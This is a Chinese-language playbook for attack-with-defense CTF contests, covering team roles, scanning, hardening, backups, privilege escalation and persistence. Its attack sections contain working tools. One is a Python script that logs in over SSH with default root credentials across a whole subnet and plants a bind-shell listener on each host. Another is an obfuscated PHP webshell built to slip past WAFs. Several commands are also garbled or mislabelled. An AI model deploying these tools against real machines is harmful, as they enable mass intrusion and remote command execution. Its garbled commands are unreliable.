AWD总结-Like4h

节奏就是先紧后松、就是刚开始的时候是最忙碌的三个队员要配合好、做好自己的工作

开局

三人分工

A

主机探测、找到对手、信息搜集、协助防守(上简单waf-watchbird)

主机探测

1
2
3
4
5
6
nmap -sn 192.168.0.0/24 扫描C段主机

postsacn


httpscan.py 192.168.0.0/24 -t 30 扫描C段主机+线程

端口探测

1
2
3
4
5
6
7
nmap -sV 192.168.0.1 扫描主机系统版本

nmap -sS 192.168.0.1 扫描主机常用端口

nmap -sS -p 80,445,3306,8080,8888 192.168.0.1 扫描主机部分端口

nmap -sS -p- 192.168.0.1 扫描主机全部端口

详细的将对手的ip快速搞清楚、并快速的导出可利用的txt文本

信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
netstat -ano/-a 查看端口情况

uname -a 系统信息

ps -aux ps -ef 进程信息

cat /etc/passwd 用户情况

ls /home 用户情况

id 用于显示用户id及所属群组id

find / -type d -perm -002 可写目录检查 蚁剑的插件 /var/tmp 可写可执行 root ctf 1000 sudo

grep -r "flag" /var/www/html 查找默认flag

上waf(第三方通防)

watchbird

Aoiawd

1
2
3
4
web上watchbird
1、上传waf.so watchbird.php到网站根目录
2、安装php watchbird.php --install /var/www/html
3、打开/index.php?watchbird=ui

B

快速防守(删除可能存在的一句话)、网站备份、网站环境定位、口令更改

网站备份

压缩

1
2
3
tar -cvf web.tar /var/www/html

zip -q -r web.zip /var/www/html

解压

1
2
3
tar -xvf web.tar -c /var/www/html

unzip web.zip -d /var/www/html

备份到服务器

1
2
3
mv web.tar /tmp 

mv web.zip /home/test

上传下载文件

1
2
3
4
5
scp username@servername:/path/filename /tmp/local_destination   从服务器下载单个文件到本地

scp /path/local_filename username@servername:/path 从本地上传单个文件到服务器

scp -r username@servername:remote_dir/ /tmp/local_dir 从服务器下载整个目录到本地scp -r /tmp/local_dir username@servername:remote_dir 从本地上传整个目录到服务器

数据库建立远程连接

MySQL 5.7版本使用如下(可能5的版本都适用)

1
2
3
4
5
6
7
8
# 1. 登录
mysql -uroot -pmysql

# 2. 授权root用户对所有数据库在任何ip都可以进行操作
grant all on *.* to root@"%" identified by "mysql" with grant option;

# 3. 刷新数据库
flush privileges;

MySQL 8版本因为不支持上面语法,所以设置远程登录不一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 以下操作为用户名root 密码 mysql作为示例,具体可以根据自己的数据库设置而定
# 1. 登录
mysql -u root -pmysql

# 2. 第二步
create user 'root'@'%' identified by 'mysql';

# 3. 修改密码为永不过期
alter user 'root'@'%' identified by 'mysql' password expire never;

# 4. 修改密码并指定MySQL用户登录密码加密规则为mysql_native_password
alter user 'root'@'%' identified with mysql_native_password by 'mysql';

# 5. 授权
grant all on *.* to 'root'@'%';

# 6. 刷新
flush privileges;

数据库备份

1
2
3
4
5
6
7
8
9
10
11
12
13
数据库配置信息一般可以通过如config.php/web.conf等文件获取。

备份整个数据库 mysqldump -u root -h host -p dbname > backdb.sql

备份指定数据库 mysqldump -u -p --all-databases > backdb.sql

备份系统中所有数据库 mysqldump -all -databases dbname1, dbname2 > backdb.sql

导入数据库
mysql -u username -p passwd database < bak.sql

mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库
cd /var/lib/mysqlmysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原

口令更改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
信息收集后,将未授权和弱口令问题及时修复,服务器ssh口令、数据库口令和web服务口令

passwd username ssh口令修改

set password for mycms@localhost = password('123'); MySQL密码修改

find /var/www/html -path 'config' 查找配置文件中的密码凭证


密码:
r9$6Hlu$zXp2I055sS&OkMl
N@1vWvyO0ilkZM!bbUwhz43
Pf4W!oEltoA#fg4yJOOZoUP
817S!KLQnBkTJOchtQZM&Yo

快速删除一句话木马

1
rm -rf xx.php

如果没有root权限的账号

查看ctf账号权限UID是否小于500

写木马杀死不死马进程

1
2
3
4
如果登录的www-data没有权限的话那就执行php来进行操作
<?php system("kill -9 pid;rm -rf .shell.php");?>

php kill.php

组件发现

1
2
3
4
5
6
7
find / -name "nginx.conf" 定位nginx目录

find / -path "nginx" -name nginxconf 定位nginx配置目录

find / -name "httpd.conf" 定位apache目录

find / -path "apache" -name apacheconf 定位apache配置目录

网站定位

1
find / -name "index.php" 定位网站目录

日志发现

1
2
3
4
5
6
7
8
9
/var/log/nginx/ 默认nginx日志目录

/var/log/apache/ 默认apache日志目录

/var/log/apache2/ 默认apache日志目录

/usr/local/tomcat/logs tomcat日志目录

tail -f xxxx.log 实时刷新滚动日志文件

C

快速攻击利用可能预留的一句话

直接攻击

ssh连接写马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

#-*- coding:utf-8 -*-
import paramiko
import threading
import queue
import time
#反弹shell python

q=queue.Queue()
#lock = threading.Lock()

# ssh 用户名 密码 登陆
def ssh_base_pwd(ip,port,username,passwd,cmd):
port = int(port)
ssh = paramiko.SSHClient()

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh.connect(hostname=ip, port=port, username=username, password=passwd)

stdin,stdout,stderr = ssh.exec_command(cmd)

result = stdout.read()
if not result :
result = stderr.read()
ssh.close()

return result.decode()

def main(x):
shell = '''
#服务器端
import socket
import os
s=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.bind(('0.0.0.0',1234)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接
s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量
con,addr=s.accept() #接受一个客户端的连接
#print(con,addr)

for i in range(10):
cmd=con.recv(1024)
print(cmd)
command=cmd.decode()
if command.startswith('cd'):
os.chdir(command[2:].strip()) #切换路径
result=os.getcwd() #显示路径
else:
result=os.popen(command).read()
if result:
con.send(result.encode())
else:
con.send(b'OK!')
'''
cmd = 'echo \"%s\" > ./shell.py' % (shell) +'&& python3 ./shell.py'
port = '22'
username = 'root'
passwd = 'toor'

ip = '192.168.1.{}'.format(x) #地址
q.put(ip.strip(),block=True, timeout=None)
ip_demo=q.get()
#判断是否成功
try:
#lock.acquire()
res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id')
if res:
print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")
#lock.release()
ssh_base_pwd(ip_demo,port,username,passwd,cmd)
except:
print("[ - ]Ip: %s" % ip_demo +" is Failed")
if x > 255:
print("Finshed!!!!!!!!")
q.task_done()

#线程队列部分
th=[]
th_num=255
for x in range(th_num):
t=threading.Thread(target=main,args=(x,))
th.append(t)
for x in range(th_num):
th[x].start()
for x in range(th_num):
th[x].join()


#q.join()所有任务完成

一句话利用(1):简单易理解

脚本---->批量全套spa

一句话利用(2):需要先获取一句话地址,b选手快速写个循环

脚本---->批量全套spa

一句话利用(3):写不死马

脚本---->批量全套spa

后续

面临的问题

如果不是root权限的用户、我们需要进行ctf权限的提取

提权

Ubuntu常用提权

先检查是在docker容器里面还是在虚拟机文件里面

1
2
3
4
5
cat /proc/1/cgroup 	
原理:容器是通过 cgroup 实现资源限制,判断容器是否在一个 cgroup 组中

ls -la /
检查根目录下是否存在.dockerenv文件

CVE-2022-0847 --上来直接试这个

1
2
3
Linux Kernel版本 >= 5.8

Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102

CVE-2021-3493

1
2
3
4
5
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

CVE-2021-4034-Polkit权限提升漏洞

受影响linux

2009年5月至 2022 年1月26日发布的所有Polkit 版本
Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在该版本范围Polkit的Linux系统均受影响。

受影响国产化操作系统:
银河麒麟高级服务器操作系统 V10
银河麒麟高级服务器操作系统 V10 SP1
银河麒麟高级服务器操作系统 V10 SP2
统信 UOS 服务器操作系统 V20
银河麒麟桌面版操作系统 V10
银河麒麟桌面版操作系统 V10 SP1
统信 UOS 桌面版操作系统 V20
中标麒麟桌面版操作系统 V7.0

版本检测:

Linux系统用户可以通过查看Polkit版本来判断当前系统是否在受影响范围内,主流Linux发行版命令如下:

CentOS、RedHat 系列:

1
rpm -qa polkit

Debian、Ubuntu 系列:

1
dpkg -l policykit-1

不受影响版本

CentOS:

1
2
3
4
5
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu:

1
2
3
4
5
Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1

Debain:

1
2
3
4
Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1
1
2
3
4
5
pkexec 本地提权

Github地址:https://github.com/berdav/CVE-2021-4034

通杀乌班图和centos

脏牛内核提权-CVE-2016-5195

1
3.9>Linux kernel >=2.6.22

CVE-2017-16995 ubuntu内核漏洞

1
2
Linux Kernel Version 4.14 ~ 4.4.0
ubuntu16

CVE-2021-3156-Linux sudo权限提升漏洞(CVE-2021-3156)

1
2
3
4
5
6
7
sudo 1.8.2 - 1.8.31p2

sudo 1.9.0 - 1.9.5p1

查看sudo版本

命令:sudo --version

poc

SUID提权检查脚本

suidcheck

常见

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

git提权
find 提权
PIP提权
ed提权
wge提权
apt提权
ZIP提权
taskset提权
sed提权
tmux提权
scp提权
perl提权
bash提权
less提权
awk提权
man提权
vi提权
env提权
f't'p

Linux-exploit-check

Linux-ecploit-check

2

如果有检查机制不允许使用通防的waf,那么我们的watcbird就不能使用了

WAF

文件监控 ->记录文件的增删

流量监控 ->抓自己被攻击的流量、流量包里面有没有恶意的代码:命令执行的、

flag替换

挖洞

也就是代码审计,使用工具自己在切入点,一般是文件上传漏洞、命令执行漏洞、xss漏洞、反序列漏洞

代码审计

使用工具:

seay代码审计工具

image-20230611204527534

昆仑镜代码审计工具

image-20230611204508892

流量监控、日志查询

流量抓包审计POST的流量包

Nginx和Apache的运行日志,主要查询访问记录,注意POST和GET的包

权限维持

过盾一句话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$_='%99%88%8D%96%8B%9A';
$pass='a';
$rand_=rand();
$a=$_POST[$pass];
$file=md5('shadowwolf');
$shell='<?php '.$a.' ?>';
$myfile = fopen($file, "w");
(~urldecode($_))($myfile, $shell);
include $file;
?>


密码是:a

不死马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
define('LOG_FILENAME', 'Catch-pwd.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
//$filepath = $_SERVER["SCRIPT_NAME"];
//foreach ($_FILES as $key => $value) {
//$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
//file_put_contents($_FILES[$key]['tmp_name'], "virink");
//}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
logging($input);
}
function logging($var) {
date_default_timezone_set("Asia/Shanghai");
$time=date("Y-m-d H:i:s");
file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);


}
waf();
?>

crontab ->定时任务写马、写反弹shell、自己cat自己的flag

bash反弹shell

1
2
3
4
5
6
python
bash
php
java
定时
计划任务

不死马的查杀

重启 。。。。

kill -9

搅屎棍

蚁剑流量重放

webshell

burp重放